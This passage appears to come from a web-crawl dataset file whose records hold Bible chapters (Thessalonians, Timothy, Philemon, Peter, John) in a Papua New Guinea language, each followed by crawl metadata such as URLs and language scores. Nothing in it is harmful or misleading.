meéyámbakaumne.\n10keinárawate maéwándarata maarán-áímbá simátimeta séta kavóná-kwaasi mayáímó ímo kwémayaan-kwaasi toómbá íma tíméroya simátímakaumne.\n11keinárawapinkemba évakarawai kavóná-kwaasi mayáímá íma máyáamba kwantánaanta-aimba símae kwénaaonta ísaraumpo\n12miwíyávéta asiramái símae iyéta séta Ísóigo Ísu Káráísitina mayáímá kwémayaundayaveta séta ivátuwe'a kawer-umái mé'a mayáímá kwémae'a kentí mayáívínkémbá toómbá naaró kwésune.\n13kentáásí kwaásiyono. kawe'-máyáímá kwémayaamba íma tívón-káína'a mirán-káwé'-máyáímá máyáaro.\n14maanáúváívímbá agaimakáunda-aimba évakarawai ísámai tínaaemba umásuwaiyawai tuwáné'a miwítí nénkakaamba umái méwasa imáyáa ésa tigaevimpín-umai koyauwé'mai teró.\n15namuro-kwáásíyémo kwéontemba mirá íma é'a kentí kwaásiyemo kwéontemba mináímbá simái ságamatimero.\n16Ísóigo paru kwéumatinkaiwaina ááimban-iye. kwemá kawe-kánáá sáwí-kanaa paru umátínkámaena iyíníntave'a námúnaa kwésune. keinárawate Ísóigo ménintave'a námúnaa kwésune.\n17ayááírá'a kemá Póro agaimaráúmpo awáné'a kwenayáánavi'a póna kwenááiman-iye sé'a ísáaro. amápar-auvaivimba miráumai kwéagayaumne.\n18Ísóigo Ísu Káráísiti úwoi kwétuwa'naa-intave'a námúnaa kwésune. kemá Póro súnda-aimba kwéanasaiye.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/breakeveryyoke.com\/2-t%C3%A9s%C3%A1r%C3%B3naika-3---a%C3%BAn%C3%A1-aimba-sim%C3%A1i-tar%C3%BAmakain-kwasai","date":"2021-06-15T02:59:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487616657.20\/warc\/CC-MAIN-20210615022806-20210615052806-00047.warc.gz","language":"kze","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000075101852417}","num_words":309,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1kentáásí kwaásiyono. kentáásí Ísóigo Ísu Káráísiti kuména kuntorupásinkainata kweséya ménaunda-ainta avora'á simátimenaumne.\n2évakarawai sésa Ísóigo Ísu á'a kunkáiye siráan-aimba íma anón-imayaa íyana tirunkó sáwí'a íno. mináímbó simátímakaawai kentí imáyáavinkena sirá. mirámó sembá Áánútu simásímakaiye sirá. kentávésa aúváívinkemba simásímakaiyewa sirá. náávaken-ainewa siráao.\n3minkámpár-áímbá kwésimatimewa'a árai'a siyé seváímpó'a maanáímbá avora'á simátimenaumpo ísáaro. Ísóigo Ísu kumíní-tawai íma úwoi kumínívo aiva'á sáwívarawai Áánútumba tínaaemba umámiyana sáwí-mayaigomba avowáí'a uráiwai sáwí-marupa'o iramó kaíkai'o kwéipa'o kumbéniwainonkaamba paáriniye.\n4évaka-tantaatavesamo kwaásimo sésa kesí ísóigoman-iye sésa mintántáákóná imáyáa mósá kwémaraambo éna aambá aunéna séna úwoisan-tantaa'an-ivo keyáá anómba úne séna Áánútuna mono'-náúmpá'á uména kampa'á séna kemá Áánútu úne síníye.\n5keinárawate maéwándara'a mináímbá simátímakaunda ímo tuwinkaráámbá tuwinkaráawe.\n6ívé'a sáwí-mayaigomba avowáí'a uráiwaimba aambá ítánkaraimba kwéisaawe. Áánútu séna sáwí-mayaigomba avowáí'a uráiwaina kanaamá kwétiye sínda-tawai mindá'á paáriniye.\n7ívé'a sáwísawaa-mayaima aúpá'á kwémayaawana sáwí-mayaigomba avowáí'a uráiwaimba aambá tawísíyankainana paáríndara'a sáwísawaa-mayaima avora'á paárínana\n8sáwí-mayaigomba avowáí'a uráiwaigwara'a paárínana Ísóigo Ísu ságayankwara'a kuména ááma áútinkena inkaména kwená asirayámbá maisuwáníye.\n9sáwí-mayaigomba avowáí'a uráiwai paáríndara'a Sáátáánigona asirayánkwárá'á paáréna ó'on-o'om-bayai ímo awánaraam-bayai kampa'-máyáí kwémaena\n10ó'on-o'on-tantaatavena kampar-áímbá simátiminasa sáwí-meyambo kwaíkwai'o ínín-ayampa'o koménaaon-kwaasi mináíntávésa áraire sénááowe. árair-aintavesa íma aamoí íyamba Áánutu sáwí-imayaaomo tátokaimpinkemba iyátínkáiwain-aaiyavesa íma aamoí íyamba póna Áánútu íma kawer-ámpá'á métinkaniye.\n11mirá-sáwí-kwáásí pósa minkámpár-áíntávésa áraire sénááowe. mirá-sáwí-kwáásí póna Áánútu étinkainana kampar-áínkó miwí asiramái tátorainasa kampar-áíntávésa árair-aimban-iye sénááowe.\n12miráumai árair-aintavesa kampar-áíné sésa sáwí'o kwéontavesa aamoí íyawai sáwí-meyamba timíníye. kemá Póro sé'a aiva'á sáwí-mayaigomba avowáí'a uráiwai paárínana Ísóigo Ísu kuména inkaména kwená asirayámbá maisuwáníye.\n13kentáásí kwaásiyono. Ísóigo arumbá kwétimiye. aiva'á Áánútu keinárawatavena séna sáwí-imayaaomo tátokaimpinkemba iyátinke'a kawer-ámpá'á métinkanaumne séna kwenamambá ai'marówana Áánútuna kwaási-i'a kunumátinkowa'a árair-aintave'a áraire siráantaveta aasiyaasí Áánúntumpa'a súwiya kwésimankaumne.\n14áséi-kwasai kosimátimewananaya kwená kwaási-i'a umátinkaina'a Ísóigo Ísu Káráísiti ságayankwara'a máyáipa'a uménaaontavena Áánútu tááyaraiye.\n15mindáyave'a asiramái mé'a kosimátímakaunda-aine aúváívimba agairáunda-aine tirumpimbá tátoraaro.\n16Ísóigo Ísu Káráísitiye Áánútu kentáásivowawe kentáásí imáyáa ésarai úwoi súwa'naa esarai aasiyaasí kentáásí imáyáa kawe'á kwéumasinkaayata Ísu Káráísitiye ménaundayaveta kwéamu'maraundayaawe.\n17Ísóigo Ísu Káráísitiye Áánútu kentáásivowawe kentí imáyáa kawe'á umátinkesarai asiramátinkaiyamba póna kentí mayáíyé kentááiye kawe'á íníntaveta námúnaa kwésune.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/breakeveryyoke.com\/2-t%C3%A9s%C3%A1r%C3%B3naika-2---a%C3%BAn%C3%A1-aimba-sim%C3%A1i-tar%C3%BAmakain-kwasai","date":"2021-06-15T02:30:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487616657.20\/warc\/CC-MAIN-20210615022806-20210615052806-00272.warc.gz","language":"kze","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000033378601074}","num_words":314,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.197,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Tímóti\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaan-umai sísamaivakemba avakaeté-iya'iyo. miráumai-ima maisuwéna Tímótina imáyáa éna maanáímbá agaimái tuwówana kwenópa'a kuráiye. Ísun-aai simátíma'mae iyúnkakemba Árómáa-naopa'a ándáva'a ánkarowana ména Tímóti Ísóigona kwaásira'o kárákwirontavai imáyáa éna maanáímbá agaimarówana kwenópa'a kuráiye.\n1\n1 Tímótiyo kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo isaaó. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi-i'a éma Ísu Káráísitin-aai kosimátíma'mae naauwó séna si'mákaiye. Áánútu asiramái séna Ísu Káráísitiye tarúmai máyáamba pó'a aúnái'a umái maí'mai'a ónááowe siráin-aimba kosimátíma'mae naauwó séna si'mákaiye. 2 Tímótiyo kesááninkaamba éma sirumbó kwéamundawai ómpo maanáímbá maanáúváívímbá agaimaráúmpo isaaó. Áánútu kentáásivowawe Ísu Káráísiti kentáásí Ísóigowe úwoi áwa'naa ésarai tirumbá umánkesarai paru umánkaayantave'a námúnaa kwésune.\n3 kesíkwá'námo Áánútumbo kwakáantemba kemá mirá kwéunana mindáyavena kesirumpimbá íma aaí kwáyáiye. Áánútumpa'a námúnaa kwésunda entávé'a imáyáa é'a aasiyaasí áísaa umai súwi kwésimankaumne. 4 ivi'ó tamásínkaraanda imáyáa é'a ókwara'a awánanae-imayaa úmae kwéiye'a embó awánaanda sirunkó anón-kawe'a íníye. 5 Ísu Káráísitin-aaiyavemo árairemo sendá ímo óikakembo séndamo arunkakémbó séndayave'a imáyáa kwéune. aiva'á enaráárámá áwí'a Árówísi Áánútun-aaiyavena áraire siráimba minkákémbá enanó áwí'a Yúnísi Áánútun-aaiyavena áraire siráimba egwárá'á mirá kwée Áánútunka'a agevamái máyaanda árai'a mindá ísaraumne. 6 mindáyave'a simáme'a sé'a Áánútumo asirayámbó ámakaimba tátoke kwená mayáí mayaaó. Áánútuna mayáímó mayáníyondayave'a siyáámba ane'á tátoraawanana Áánútu asirayámbá ámakaiye. 7 Áánútu imáyáaya símakowata asiramáíya méta íya sáátaveta éta imáyáaya kwétimeta kesúrata kárákwimai kawer-urétaaya úndaya po Áánútumo asirayámbó ámakaimba tátoke kwená mayáí mayaaó.\n8 mindáyavai kentáásí Ísóigo siráin-aimba kwésimatimendayavai íma áá'a kaíno. Ísóigona kwaási-i'a úndarakemba ándáva'a sínkaraawa'a máyaundayavai íma áá'a kaíno. Áánútu asirayámbá kwéamimba po áséi-kwasai kwésimatiminasamo áí'o índai'o umánkanaaomba sí'o úni'o umásínkaraantemba umánkanaaomba íma imáyáa éma asiramái maiyó. 9 Áánútu séna sáwí-imayaavinkemba iyátínkáana'a kaweré su'mai umái máéro siráiye. kesáá kawe'-máyáí mayáúndayavenaya ímanivo kwená imáyáavinkemba séna úwoi túwa'naa ónaumne siráimba póna kentáásí sáwí-imayaavinkemba iyásinkena séna kaweré su'mai umái máéro siráiye. ááinka'a Áánútu maramá íma taróruronka'a Ísu Káráísitina mayáíyávéna imáyáa éna séna úwoi túwa'naa ónáe'a to'mayaa úne siráiye. 10 Áánútu kentááyávénawe séna to'mayaa uráimba paárúwana Ísu Káráísiti marapá'á kuména kentáásí sáwí-imayaavinkemba kwéiyasinkaiye. kwaási púwówaina ááimba kwemá usáyaaitena ánásasuwowasa kwíyómpa'a aúnái'a umái maí'mai'a ésa íma puwónááowe. mináséí-áímbá paárúwata ísaraumne.\n11 mináséí-kwásáí simátimenaundayavena Áánútu simásimena séna aantá-kwaasi-i'a éma ai'máráana maanáséí-kwásáí simátíma'mae naauwó súwa'a 12 mirá ówándarakemba sí'a úni'a umái ándáva'a sínkaraawa'a mé'a íma sigaeyávé'a kwéune. moóráwain-aaiyave'o árairemo sé'a kwenká'ó agevamáímo máyaundawaimba awáné'a símakaim-bayai kwégarakwiyisa'a mináímbá árair-aimban-iye súnda pó'a íma sigaeyávé'a úne. Áánútu kwaásimo máyáawaina ááimba tísaa ínín-kanaama íma tiráindara'a símakaim-bayai kwégarakwiyiye. 13 Tímótiyo árair-aimba simámakaunda arumpimbá tátore kwaré Ísu Káráísitiye tarúmai mé kwenááiyavai áraire kwése kwembá arumbá amé mirá úmae iyuwó. 14 Áánútu árair-aimba simámakaimba Áánútun-amanko kentáásirumpimba máyáimba po kwená asirayándéí mináráír-áímbá kárákwiyuwo.\n15 Ésiyaa-maravaken-kwaasi amápa'a tínaaemba umásiyukaampinkemba kae-kwáásí moóráwai áwí'a Vísérasa isaná moóráwai áwí'a Émósénisi isamá mináímbá ísaraane. 16 moóráwai áwí'a Ónésívorasa kesópa'a tóyo éna kawer-áímbá simásimena kesí imáyáa aúnái'a umásinkena ándáva'o máyaunda íma agaeyávéna isa'á mindáyave'a Ísóigompa'a námúnaa súnda Ónésívorasa kwená naaúmpa'a máyáan-kwaasiye kawe'á umátinkaniyone sé'a námúnaa kwésune. 17 kwemá Árómáa-naopa'a taména sivakáá úmae kwéiyena ándáva'o máyaunda tasuwánéna kesí imáyáa aúnái'a umásínkaraiye. 18 ááéma Évésasi-naopa'a komáyaawanana sáwíva-tawai kwemá súwa'naa úwa á'a awánaraane. mirá uráintave'a sé'a Ísóigo kwaásimo máyáawaina ááimba tísaa ínín-kanaa tínana Ísóigo kwentávéna arumbá umánkaniye súne.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/png.bible\/kze\/2TI01.htm","date":"2022-06-29T03:35:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103620968.33\/warc\/CC-MAIN-20220629024217-20220629054217-00466.warc.gz","language":"kze","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"kze_Latn_score\": 1.0000085830688477}","num_words":480,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vírímóni\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaan-umai sísamaivakemba kaer-íyá'iyo. miráumai-ima maisuwéna Vírímónina imáyáa éna maanáímbá agaimái tuwówana kwenópa'a kuráiye. ááéma Vírímóni kesí mayáí mayáínkwáe séna Ónísímasimba meéyámba'mai máánkarowana mayááena mimbáyáígón-áároi inkaiséna ó'-mapa'a koména Ísun-aai ísáapa'a téna Póro ándáva'o máyopa'a kwéawa'naa-uwana Póro Vírímóni Ónésímasimba tayauwé'mai airáínkwáe sé'a maanáúváímá agaimái amúne séna agaimái tuwówana Vírímóninopa'a kuráiye.\n1\n1-2 Vírímóniyo kemá Póro maanáúváímá kwéagayaumne. kesí kwaási po kesé tágárotare mayáí kwémayaandawai isaaó. Ísóigona kwaási ená naaúmpa'a torupamái kwémaewai ísáaro. Ápíyaao kentáá símánaakogwara'a isaaó. Ákípaasiyo keséya tágárotare asiramái mayáí kwémayaandawai egwárá'á isaaó. Ísu Káráísitin-aai simátimewandarakemba ándáva'a sínkaraawa'a mé'a maanáúváí agaimái amúne. kenkáí síváko Tímóti kesé máyáiye. 3 kentáásivo Áánútuwe kentáásí Ísóigo Ísu Káráísitiye úwoi kwétuwa'naa-esarai paru kwéumatinkaayantave'a námúnaa kwésune.\n4-5 Vírímóniyo kentáásí Ísóigo Ísuwe aráápamai mé Áánútuna kwaásivimba arumbá kwétime máyaanda-aimba isé'a pó'a Áánútumpa'a námúnaa kwésunda entávé'a imáyáa kwée'a súwi kwésune. 6 enté kentési mayáígó moórái'a kwéisata méta Ísóigowe tarúmaiya máyaundayavenaya kwemá kawetá kwéumasinkaisa awánaniyondayave'a námúnaavinkemba Áánútumba kwéaisaa-une. 7 Vírímóniyo kesíváko po Ísóigona kwaásivimba arumbá kwétime túwa'naa ónasa aúnái'a umái máyáan-aimba isé'a aamoí kwéumankaunana sirunkó kawe'á kwéisa'a áwa'naa umai námúnaa kwésune.\n8 Ísu Káráísiti asirayámbá símakaimba pó'a íma inkaisé'a emá moórái'a uwo sé'a kwésundanivo mirán-áímbá íma sénaumpo 9 aánoumai kwempakémbá áísaa e'a sé'a sendantembá mirá íníyone sénaumne. emá arumbá kwésimena'a kemá sirumbá kwéamunda pó'a aánoumai kwempakémbá simáméndai'a mirá íníyone kwésune. kemá Póro Ísu Káráísiti kwená mayáí símakaimba kwémae'a anónu'mai káúnasa ándáva'a sínkaraawa'a mé'a 10 moóráwai áwí'a Ónísímasintave'a kwésune. ándáva'a mé'a Ísóigon-aai simámunana iséna Ísóigompa'a tisa'á sé'a kesí iyámpóíraamba óne sé'a pó'a kwentávé'a kwésune. 11 ááéma ená mayáí íma kawe'á umái mayómba mayáígón-áároi inkaiséna kóuraimbanivo ívé'a kesí mayáí kawe'á umái kwémaena ená mayáí kawe'á umái mayáníye. 12 ívé'a ai'máráanana enópa'a kwínama kesááninkaani'a umái airáníyono. 13 Ónísímasimba tátokaanana súwa'naa ínkwáe sé'a únda isa'á úwoi mirán-ímáyáá úne. Ísu Káráísitin-aai simátimewandarakemba ándáva'a mósínkaawa'a máyaunda enanondá Ónísímasi súwa'naa íníye óndanivo 14 némpa'a mémpo íma owé síníyondayave'a pó'a íma úwoi tátoranaunda póna kesé ména súwa'naa íníye. íma súwa'naa ónáe sindá súwa'naa ónavainivo ená imáyáavinkemba súwa'naa íníyone.\n15 Ónísímasi mayáígón-áároi inkaiséna embá auwéna sáwíyanka'a ó'om-bapa'a tamáyáimbanivo enópa'a kwéna aasiyaasí koméniye-imayaa kwéune. 16 Ísóigona kwaásigomo óndantemba kwemá mirá kwéena enávákaamba póna íma ená mayáí kwémayaiwaiye su'mainivo enávákoraamba éna enópa'a kwíníye. kemá kwembá sirumbá kwéamundantemba egwárá'á arumbá kwembá améma kesívá'an-iye síníyone.\n17 Ísóigona mayáígó enté kentési mayáígó moórái'a kwéimba po kentáváí kesí naaúmpa'a iyuwó kwésendantemba Ónísímasintavai mirá síníyone. 18 embó sáwí'o umánkenamo moórá-yantaa'o mairénamo ímo ámakainamo e íma kwenópa'a te kesópa'a tina'á kemá meéyán-ónaumne. 19 kemá Póro kesiyáándei kwéagaye'a mimbéyámbá aménaumne kwésune. Ísu Káráísitin-aai simámewana áraire siráanda maí'mai'a íníyonda-meyamba kempá'á kwáyáimba pó íma kanaán-umai meéyán-íníyonda-aimban-iye. 20 kesívákoo Ísóigona kwaási ómpo áísaa úndantemba mirá ina'á Ísóigo aúranka'a aúnái'a umái máéno.\n21 maanáúváí agayáúnda imáyáa é'a sé'a kesáái isé áísaa úndantemba mirá íníyone. emó íníyondawai kemó áísaa úndawaimba usáyaaitaniyone. 22 enópa'a ke kónaundayavai kesí maru'á usúkasinkaao. ándávakemba ayúsinkaiya'a ená naaúmpa'a kónaundayavai Áánútumpa'a námúnaa simásinke moórá-maru'a usúkasinkaao.\n23 moóráwai áwí'a Épávarasi kwemá Ísu Káráísitin-aai simátimunkakemba ándáva'a ánkaraawana kesé ména keinárawatavena séna kawe'á umái máéro kwésiye. 24 kesé mayáí kwémayaawai túwí'a moóráwai Mááka moóráwai Árísítakasi moóráwai Tímasi moóráwai Árúku miwí sésa kawe'á umái máéro kwésewe.\n25 Ísóigo Ísu Káráísiti keinárawate ména úwoi kwétuwa'naa-intave'a námúnaa kwésune.\nPóro mináímbá simái ánásaumne.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/png.bible\/kze\/PHM01.htm","date":"2022-06-29T03:27:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103620968.33\/warc\/CC-MAIN-20220629024217-20220629054217-00064.warc.gz","language":"kze","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"kze_Latn_score\": 1.000006914138794}","num_words":498,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Pítaa\nkampa'-mónó-kwáásí Ísun-aaigomba kwaé'náer-umai simátímún-aimba Pítaa iséna Ísuna árair-aimba tátoraigwae séna maanáímbá agaimái mátímakaiye. Ísumba awánéta kwemó sirón-aimba isááwándawai simátíma'mae iyówánda-aimba tátoraigwae séna maanáímbá agaimái mátímakaiye.\n1\n1 kemá Sáímoni Pítaa maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. kemá Ísu Káráísitina aantá-kwaasi úndanivo kesáámó úndantembo Áánútun-aaiyave'o árairemo kwésewai ísáaro. kentáásí Áánútuwe Ísu Káráísiti sáwí-imayaavinkemba iyásínkáiwaiye arupí umái mésarai kawer-ímáyáá símakaayata mindáraise aráápamaiya kawe'á umáíya máyaumne. 2 Áánútuwe kentáásí Ísóigo Ísuntetopa'a té'a kawer-ímáyáá tamaé'a mirámó úmae kwéiyomba úwoi túwa'naa úmae iyésarai paru umátínkáva'a iyíya'a ménaaowe.\nÁánútu kentáámá ításinkarain-kwasai.\n3-4 Ísu Káráísiti sááyowana kwená ságayanko kwená ó'oran-kawe'-mayaigo tavisúwata kwenópata téta kawer-ímáyáá taísaraumne. Ísu Káráísiti mirán-kwáásígó póna kwemó kawe'á umátinkanaumnemo siráin-aimbo éna mirá ínímba póna kwená asirayámbá kwésimisata Áánútuntaveta aamoí éta arupí umái méta kwenáái simátímakaundaya póna marapáké-sáwí-ásíráyánkómó kwaásimo sáwí'o kwéiwai keinárawa tine'á íma tátoraina'a tuvíntuwe'a Áánútuwe tarúmai ménaaowe.\n5 mindáyave'a imáyáa é'a maarámó ónááontave'a asiramái mayáí máyáaro. Áánútun-aaiyave'a áraire sé'a kwenká'á agevamái máyáamba kawer-ááímbá maré'a minkákémbá kawer-ímáyáávínkéní'a kwée'a minkákémbá 6 kentúra'a kárákwiye'a minkákémbá asiramái mé'a íma tívón-káína'a Áánútuntave'a aamoí umái mé'a 7 Áánútuna akúmbá máyáantave'a túwa'naa úmae kwéiye'a kentirumbá timé'a 8 mirán-oro. mirámó úmae iyé'o é'a Ísóigo Ísu Káráísitina kawer-ímáyáá isé'a anóni'a umái mé'a kentí mayáí áúgwara'-mayai mayánááowe. 9 mirán-káwé'-máyáímó ímo kwémayaawai Áánútumo sáwí-imayaamo maitíyukain-aimba tuwinkásuwesa táá'o káúnkaiwairaamba umái máyáawe.\n10 kesí kwaásiyono. Áánútu keinárawa'a tááyamai ítámakaivo imáyáa é'a kwesé asiramái máéro. mirámó é'o é'a sáwí-amba íma kwaránááowe. 11 miráumaimo méwanamo éna kentáásí Ísóigo Ísu Káráísiti sáwí-imayaavinkenta iyásínkáiwai keinárawatavena séna tíya'a kárákwiraana'a kesópa'a maí'mai'a úmae iyónááowe síníye.\n12 mináráír-áímbá á'a ísare'a asiramái kwégwaraamba pó'a simátíma'mae íyóna'a imáyáa úmae iyónááowe. 13 marapá'ó máyaundara'a simátíma'mae íyóna'a imáyáa úmae iyónááowe. mirámó ónaunda kawerí'a ónaumne. 14 ááéma kentáásí Ísóigo Ísu Káráísiti simásimena séna puwíníyone siráimba pó'a sáwíyanka'a puwé'a íma marapá'á ménaunda pó'a 15 mináímbá agaimaré'o púwónda awáné'a mináíntávé'a imáyáa úmae iyónááowe.\nÍsuna ságayamba awánáúmne siráin-kwasai.\n16 kentáásí Ísóigo Ísu Káráísiti asirayánkwárá'á kumíníye-aimba íma manír-áínkáántá simátímakaundayaanivo súrandeiya kwená usáyaaitaya-sagayanta awánaraundayaveta árair-aimba simátímakaumne. 17-18 Áánútu ítámakain-omaka'a Ísuwe máyaawananaya Áánútu kentáásivowa Ísu áwí'a anómba éna usáyaaitaya-sagayampinkemba séna kesááninko ónana ávááraumai entávéna kwésinkaisa'a ávááraumai aamoí kwéumankaumne kwíyómpakemba súwata ísaraumne.\n19 ísaraundayaveta asiramái séta naaóvá'á Áánútun-aai simátímakon-aimba árair-aimban-iye. súndaya mináímbá imáyáa oró. túnkain-ayampa'a sáma kwégain-aimban-ivo mináímbá aúváívimba awánáíyana aaváúmó usénamo sámo kaintembá kentí imáyáavinkemba miráumai sáma káínana Ísu Káráísiti aaváúmó usaráisanamo kwáyáin-okoraamba umái sáma kamátinkaniye. 20 simátíménda-aimba ísámai kawe'á oró. naaóvá'á Áánútun-aai simátímakowai aúváí-kwandaaivimba agaimakón-ainkona ááimba kemá kwaási kentáásí imáyáavinkemba íma kanaán-umai isánaundayaawe. 21 íma miwítí imáyáavinkemba simái agaimakáavo Áánútun-amanko kwenáái simátimuwasa agaimakómba Áánútun-amanko mináínkóná ááimba kwésuwa'naa-isata kwéisaumne.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/png.bible\/kze\/2PE01.htm","date":"2022-06-29T03:35:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103620968.33\/warc\/CC-MAIN-20220629024217-20220629054217-00242.warc.gz","language":"kze","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"kze_Latn_score\": 1.0000039339065552}","num_words":384,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Yóni\nÍsu kwíyómpa'a irówana Yóni Ísuna kwayó-kwáásí kaumbo-kwááí aíyayaan-iya'iyo. miráumai-ima maisuwéna maanáímbá agaimái tímakaiye. évakarawai kampar-áímbá simátimesa sésa Ísu Áánútu ááninko póna kwaási-uramba íma aú'mái méraiye sésa ó'on-kampar-ainkwara'a simátíma'mae nááúwana Yóni iséna miwítí imáyáa arupí umátinkanae séna maanáímbá agaimái mátímakaiye.\n1\nÁánútuna imáyáama agaráásínkáiwaina kwaasái.\n1 Ísu Káráísiti Áánútuna imáyáa agaráásínkáiwaiyaama póna kwaási aúnái'a umái maí'mai'a ónááowaina ááinkoman-iye. mináíntávé'a maanáúváí agaimái kentópa'a tuwáúnana kwégwiye. ááinka'a maramá íma kwáyonka'a kwemá maémáimba marapá'á kuména keséya máyowata súranta awánamai kawe'á éta kwenáái iséta siyáándei ane'á tátokaundayaawe. 2 aúnái'a umái maí'mai'a ónááowaina ááinkoma avowánópa'a máyomba marapá'á kuména keséya máyowata awánareta póta mináímbá kwésimatimundayaawe. 3 kesáá Áánútuwe ááninko Ísu Káráísitiye tarúmaiya máyaumne. awánaraunda ísaraunda keinárawakwara'a kwésimatimunda póta Áánútuwe ááninkowe tarúmaiya máyaundantemba keinárawa'a mirá ónááowe. 4 kentáásirumba kawe'á umái anómba umásinkanintave'a maanáúváí agaimái kwétimune.\nÁánútu sámo kaiwáíná ááinkona kwaasái.\n5 Áánútu ááninko simásímakain-ainta simátimeta séta Áánútu sámo kaiwáíná ááimba póna túnín-tantaa'a kwempímbá íma kwáyáiye. 6 miráumai túnín-ayampa'a máyáamba Áánútuwe tarúmaiya máyaumne kwésewai kampa'á kwésesa árair-ainkona ááimpimba íma máyáawe. 7 ánivo Áánútu sámo kain-áyámpá'ó máyáintemba miráumaimo sámo kain-áyámpá'ó máyaundaya kwená kwaásiye tarúmaiya máyaumne. miráumai Áánútu ááninko Ísuma kentááyávéna imáyáa éna kumpuwúwana kwená naaegó kuména póna kentáásí sáwí-imayaa kwémaisiyu'maenaya kwéiyiye. 8 kempíntá sáwí-imayaa íma kwáyáiye súndaya kesirunkómbá kampar-áíntá simá-uwáúnanaya Áánútuna árair-aimba kesirumpintá íma kwáyáiye. 9 avora'ó Áánútumpataamo sáwí-imayaayavetaamo simáménanayaamo éna Áánútu kentáásí sáwí-imayaa maisiyuwénaya amápa-sawi-imayaa arupí umásinkanintaawe. Áánútu kwemó siráini'a mirá éna miráumai kaweré su'mai kwéena póna sáwí-imayaa maisiyuwénaya arupí kwéumasinkaiye. 10 Áánútu séna amáparawai sáwí'a uráawe simbánivo kesáámá séta íma sáwí'a kwéune kwéseta Áánútu kampar-áímbá kwésiye súnana Áánútuna áséi-kwasaigo íma sirumpintá kwégwaiye.\nKáráísiti amáparawaiya siráváyáin-kwasai.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/1JN01.htm","date":"2022-12-02T03:29:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710890.97\/warc\/CC-MAIN-20221202014312-20221202044312-00064.warc.gz","language":"kze","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000008463859558}","num_words":247,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Yóni\nÍsu kwíyómpa'a irówana kaumbo-kwááí aíyayaan-iya'iyo. miráumai-ima maisuwéna Yóni Ísun-aai agaimakáiye. Ísuna kwayó-kwáásí sísamaivakemba kae'á kumbaimái-kwaasivinkemba moóráwai áwí'a Yóni kwemá séna Ísun-aaiyavai áraire sígwáe séna maarán-áímbá agaimakáiye. Áánútuna imáyáama agaráátínkáiwaima marapá'á maránkaraimba kwemá Ísuman-iye. Yóni séna kwemá Áánútun-aaigoman-iye siráiye. Ísu Áánútu ááninko sáwí-imayaao tátokaimpinkemba iyásínkáiwaiman-iye sénááontavai Ísu kawe'-máyáí ímo awánarom-bayai mairáiye. évakarawai kwenááiyavai áraire sésa kwená aampa'á kwárówasa évakarawai kamparé sésa simái sáwí'a umánkaraawe. Ísu Áánútunopa'o iyí-ámbá éna áraikona ááimba éna maí'mai'a ónááowaina ááimban-iye-aintavai áraire sewáí Ísu aúnái'a umái maí'mai'a ónááoni'a kwéumatinkaiye. aúnái'a umái maí'mai'a kwéomba ááimba kwéasaawe. mirán-áímbá Yóni agaimakáiye.\n1\n1 ááinka'a maramá íma kwáyonka'a Áánútuna imáyáama agaráátínkáiwaima kwenáwí'a Áánútun-aaigoman-iye. Áánútun-aaigoma aasiyaasí ména Áánútuwe ména kwemá Áánútuma póna 2 ááinka'a Áánútun-aaigoma Áánútuwe ména 3 amápa-tantaa'a úmarowana Áánútu imáyáama amúwana amápa-tantaa'a minkánáá paárurain-tantaa'a úmakaiye.\n4 Áánútun-aaigoma kwaásimo maí'mai'o ónááowaina ááimban-iye. miraúmai kwemá kwaásivimba sáma kamátinkena 5 túnín-ayampa'a sáma kaisaná túnín-tantaakoma sámo kain-tántáákómbá íma usáyaaitena uvisínkaiye. 6 moóráwai áwí'a Yóni máyowana 